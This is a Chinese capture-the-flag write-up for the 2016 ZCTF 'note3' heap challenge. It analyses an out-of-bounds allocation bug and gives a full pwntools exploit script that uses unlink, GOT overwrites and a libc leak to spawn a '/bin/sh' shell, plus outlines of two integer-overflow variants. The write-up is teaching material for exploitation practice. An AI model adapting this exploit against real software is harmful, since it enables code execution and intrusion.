2016 ZCTF note3:一种新解法

最近在学习unlink做到了这道题,网上有两种做法:一种是利用edit功能读入id时整数溢出使索引为-1,一种是设置块大小为0使得写入时利用整数溢出漏洞可以将数据溢出到下一个块中。我采取了另一种思路:程序在分配id=7块时虽然提示块已满,但没有采取措施,依然分配了一个块,并将块地址放在了存放块0 size的位置,使得可以往块0写入足够多的数据溢出到下一个块中。

我先分析我的解法,然后再简单叙述一下另外两种解法的原理。

程序分析

一般步骤查看程序保护措施。

该程序有4个功能:

  • New note
  • Show note(假的,只打印一个字符串)
  • Edit note
  • Delete note

New功能

添加note函数如下图,主要流程已通过注释标注。值得注意的是当i=7时,虽然提示note已满,添加失败,但没有return语句,后面依然为它分配块并将地址保存在&ptr+7处。(注意:i=0时块的size保存在qword_6020C0[0+8]处)

需要关注的是qword_6020C0ptr的关系,其内存关系如下所示

.bss:00000000006020C0 ; __int64 qword_6020C0[]
.bss:00000000006020C0 qword_6020C0 dq ? ; DATA XREF: sub_400A30+D1↑w
.bss:00000000006020C0 ; sub_400A30+E6↑w ...
.bss:00000000006020C8 ; void *ptr
.bss:00000000006020C8 ptr dq ? ; DATA XREF: sub_400A30+16↑r
.bss:00000000006020C8 ; sub_400A30+BC↑w ...
.bss:00000000006020D0 dq ?
.bss:00000000006020D8 dq ?
.bss:00000000006020E0 dq ?
.bss:00000000006020E8 dq ?
.bss:00000000006020F0 dq ?
.bss:00000000006020F8 dq ?
.bss:0000000000602100 dq ?
.bss:0000000000602108 dq ?

可以看到ptr所在位置等同于qword_6020C0[1]所在位置,所以当i=7时分配的块地址保存在&ptr+7等同于保存在qword_6020C0[8]处,即表示i=0块的大小。通过分配i=7块可实现i=0块大小被新分配块地址覆写,而块地址所代表的大小足够我们溢出到后面的块内。

Show功能

该功能没什么用,只打印一串字符串。

Edit功能

如图,主要操作通过注释的方式介绍。

Delete功能

qword_6020C0[0]可以理解为最近操作过的块地址。

漏洞利用

漏洞利用思路如下:

1.unlink

添加7个块后,再添加一个块(i=7),这时块0的大小会被改的很大(值为块7的地址),然后在块0中构造fake_chunk并溢出到下一个块修改header数据实现unlink。需要注意第i=1个块时大小要超过fastbin的范围。

2.泄露地址

unlink后可以实现任意写。为了泄露函数地址,需要执行输出函数,可以将free@got值改为puts@plt值,然后将块i的地址改为puts@got的地址,这时调用删除功能free(块i)就可以输出puts@got的值,从而得到动态链接库加载地址,进一步得到system地址。

3.getshell

最后将atoi@got值改为system地址,然后在选择功能时输入/bin/sh即可得到shell。

Expolit

漏洞利用代码如下:

from pwn import *

p = process('./note3')
#context.log_level = 'debug' def new(size,content):
p.sendlineafter('option--->>','1')
p.sendlineafter('1024)',str(size))
p.sendlineafter('content:', content)
p.recvuntil('\n') def edit(idx, content):
p.sendlineafter('option--->>','3')
p.sendlineafter('note:', str(idx))
p.sendlineafter('content:', content)
p.recvuntil('success') def delete(idx):
p.sendlineafter('option--->>', '4')
p.sendlineafter('note:', str(idx)) #gdb.attach(p)
# 分配7+1个块
new(0x40, 'b'*32)
new(0x80, 'b'*32) #为进行unlink,块要大于fastbin
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32) #第0块的size变量值会被该块的地址覆盖,进而第0块可以写入足够多的数据 target = 0x6020C8 #指向ptr
fd = target - 0x18
bk = target - 0x10
# 构造fake_chunk
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'b'*0x8
# 溢出到下一个块,覆盖chunk header
payload += p64(0x40) + p64(0x90)
edit(0,payload) # 向块0写入数据溢出
delete(1) # 触发unlink=>ptr[0]=&ptr-0x18 elf = ELF('./note3')
# 从&ptr-0x18开始写入数据 =>
# 0x6020C8(ptr+0x00): elf.got['free'] chunk0_ptr
# 0x6020D0(ptr+0x08): elf.got['puts'] chunk1_ptr
# 0x6020D8(ptr+0x10): 0x6020C8 chunk2_ptr
payload = p64(0)*3 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x6020c8)
edit(0,payload) # 将free@got改为puts@plt:
# 向chunk0_ptr(free@got)写入puts@plt
# 注意这里发送的地址是7位,因为程序会在用户输入后面加上\x00,若发送8位会将下一个got地址低字节变为0。这里puts@plt高字节也为\x00,所以发送7位无影响。
edit(0, p64(elf.plt['puts'])[:-1])
# 原会调用free(chunk1_put),实际调用puts(puts@got)泄露地址
delete(1)
p.recvuntil('\n')
# 读取泄露的地址值
puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print(hex(puts_addr))
# 任意地址写,通过edit chunk2_ptr来修改chunk0_ptr的指向,再通过edit chunk0_ptr修改chunk0_ptr指向的值。
def write(where,what):
edit(2, p64(where))
edit(0, p64(what))
# 获取libc基址
libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
# 获取system函数地址
sys_addr = libc_base + libc.symbols['system']
log.success('sys_addr: ' + hex(sys_addr))
# 将atio@got值改为system函数地址
write(elf.got['atoi'], sys_addr)
# 因为atoi改为了system,输入选项时输入"/bin/sh",会执行system("/bin/sh")
p.sendlineafter('option--->>','/bin/sh\x00')
p.interactive()

执行结果如图所示

方法2:编辑时整数溢出

下图为向块写入时的功能函数,这里变量i定义为unsigned __int64类型,在第7行,当a20时,a2-1就会变得"无限大",从而可以无限制写入数据,溢出到下一个块,利用unlink漏洞实现任意地址写,进而拿到系统shell。

方法3:输入索引整数溢出

在edit功能内,调用read_num_4009B9()让用户输入索引,利用求余使索引小于7

进入read_num_4009B9()函数内,可以看到程序对用户输入进行了判断,若小于0则取相反数。

漏洞就出现在,当用户输入的为最大负整数(即-9223372036854775808),内存中十六进制表示为0x8000000000000000,取相反数过程为-x=~x+1,即0x7fffffffffffffff+1=0x8000000000000000在计算机表示中最大负整数的相反数还是最大负整数

v0为最大负整数,则v0%7>=v0的条件也能被满足,且结果v3-1,这将向ptr[-1]指向的地址写入内容,而ptr[-1]指向的地址为最近操作过的块的地址。而写入的大小为qword_6020C0[-1+8],即ptr[6],其为i=6块的地址,即可以写入"无限"多的数据,溢出到下一块实现unlink,进一步实现任意地址写、函数地址泄露、构造执行system("/bin/sh"),拿到shell。

2016 ZCTF note3:一种新解法的更多相关文章

  1. ref:一种新的攻击方法——Java Web表达式注入

    ref:https://blog.csdn.net/kk_gods/article/details/51840683 一种新的攻击方法——Java Web表达式注入 2016年07月06日 17:01 ...

  2. [原创] Easy SysLite V1.2 (2016.5.29更新,新增加WIN10支持,一个程序适配所有系统减肥)

    [原创] Easy SysLite V1.2 (2016.5.29更新,新增加WIN10支持,一个程序适配所有系统减肥) nohacks 发表于 2016-5-29 17:12:51 https:// ...

  3. 发表在 Science 上的一种新聚类算法

    今年 6 月份,Alex Rodriguez 和 Alessandro Laio 在 Science 上发表了一篇名为<Clustering by fast search and find of ...

  4. javascript一种新的对象创建方式-Object.create()

    1.Object.create() 是什么? Object.create(proto [, propertiesObject ]) 是E5中提出的一种新的对象创建方式,第一个参数是要继承的原型,如果不 ...

  5. 二十八、带给我们一种新的编码思路——EFW框架CS系统开发中的MVC模式探讨

    回<[开源]EFW框架系列文章索引>        EFW框架源代码下载V1.3:http://pan.baidu.com/s/1c0dADO0 EFW框架实例源代码下载:http://p ...

  6. 今天在研究jquery用ajax提交form表单中得数据时,学习到了一种新的提交方式

    今天在研究jquery用ajax提交form表单中得数据时,学习到了一种新的提交方式 jquery中的serialize() 方法 该方法通过序列化表单值,创建 URL 编码文本字符串 序列化的值可在 ...

  7. 你知道现在有一种新的OCR技术叫“移动端车牌识别”吗?

    核心内容:车牌识别.OCR识别技术.移动端车牌识别.手机端车牌识别.安卓车牌识别.Android车牌识别.iOS车牌识别 一.移动端车牌识别OCR技术研发原理 移动端车牌识别是基于OCR识别的一种应用 ...

  8. Flash10下复制到剪切板的一种新方法

    web开发中常常要实现“复制到剪切板”功能.这个功能很实用,但是由于安全问题,浏览器的限制越来越严,实现的方法也越来越有限了.Firefox默认下不能直接通过Javascript操作剪切板,必须开启相 ...

  9. 【HLSDK系列】怎么增加一种新实体

    你平常肯定接触到很多比如 info_player_start hostage info_target 之类的实体,这里就解释一下怎么创建一种新的实体. 首先建立一个新的 .h 文件(当然你写在现有的文 ...

随机推荐

  1. 这样优化Spring Boot,启动速度快到飞起!

    微服务用到一时爽,没用好就呵呵啦,特别是对于服务拆分没有把控好业务边界.拆分粒度过大等问题,某些 Spring Boot 启动速度太慢了,可能你也会有这种体验,这里将探索一下关于 Spring Boo ...

  2. HtmlAgilityPack中使用xpath获取属性值

    HtmlAgilityPack介绍 HtmlAgilityPack是一个专门用来解析Html的库,它可以使用xml的方式来解析html. 有人说了,html本身不就是xml?是的,html就是xml, ...

  3. 如何创建一个带诊断工具的.NET镜像

    现阶段的问题 现在是云原生和容器化时代,.NET Core对于云原生来说有非常好的兼容和亲和性,dotnet社区以及微软为.NET Core提供了非常方便的镜像容器化方案.所以现在大多数的dotnet ...

  4. electron-vue打包出现问题汇总

    打包过程中出现下载status code 404 1.可能是网络不好,导致相关electron包无法正常下载,也有可能是需要挂代理 2.可能是编译过程的链接出现错误,一般为网址中缺少或多了一个v,建议 ...

  5. SQL Server、MySQL主从搭建,EF Core读写分离代码实现

    一.SQL Server的主从复制搭建 1.1.SQL Server主从复制结构图 SQL Server的主从通过发布订阅来实现 1.2.基于SQL Server2016实现主从 新建一个主库&quo ...

  6. 一寸宕机一寸血,十万容器十万兵|Win10/Mac系统下基于Kubernetes(k8s)搭建Gunicorn+Flask高可用Web集群

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_185 2021年,君不言容器技术则已,欲言容器则必称Docker,毫无疑问,它是当今最流行的容器技术之一,但是当我们面对海量的镜像 ...

  7. 技术分享 | 浅谈MySQL闪回的实现

    欢迎来到 GreatSQL社区分享的MySQL技术文章,如有疑问或想学习的内容,可以在下方评论区留言,看到后会进行解答 1.闪回实现原理 2.binlog文件格式初探 3.闪回实现过程 1.闪回实现原 ...

  8. 使用.NET简单实现一个Redis的高性能克隆版(三)

    译者注 该原文是Ayende Rahien大佬业余自己在使用C# 和 .NET构建一个简单.高性能兼容Redis协议的数据库的经历. 首先这个"Redis"是非常简单的实现,但是他 ...

  9. React报错之Expected `onClick` listener to be a function

    正文从这开始~ 总览 当我们为元素的onClick属性传递一个值,但是该值却不是函数时,会产生"Expected onClick listener to be a function" ...

  10. STC8H开发(十六): GPIO驱动XL2400无线模块

    目录 STC8H开发(一): 在Keil5中配置和使用FwLib_STC8封装库(图文详解) STC8H开发(二): 在Linux VSCode中配置和使用FwLib_STC8封装库(图文详解) ST ...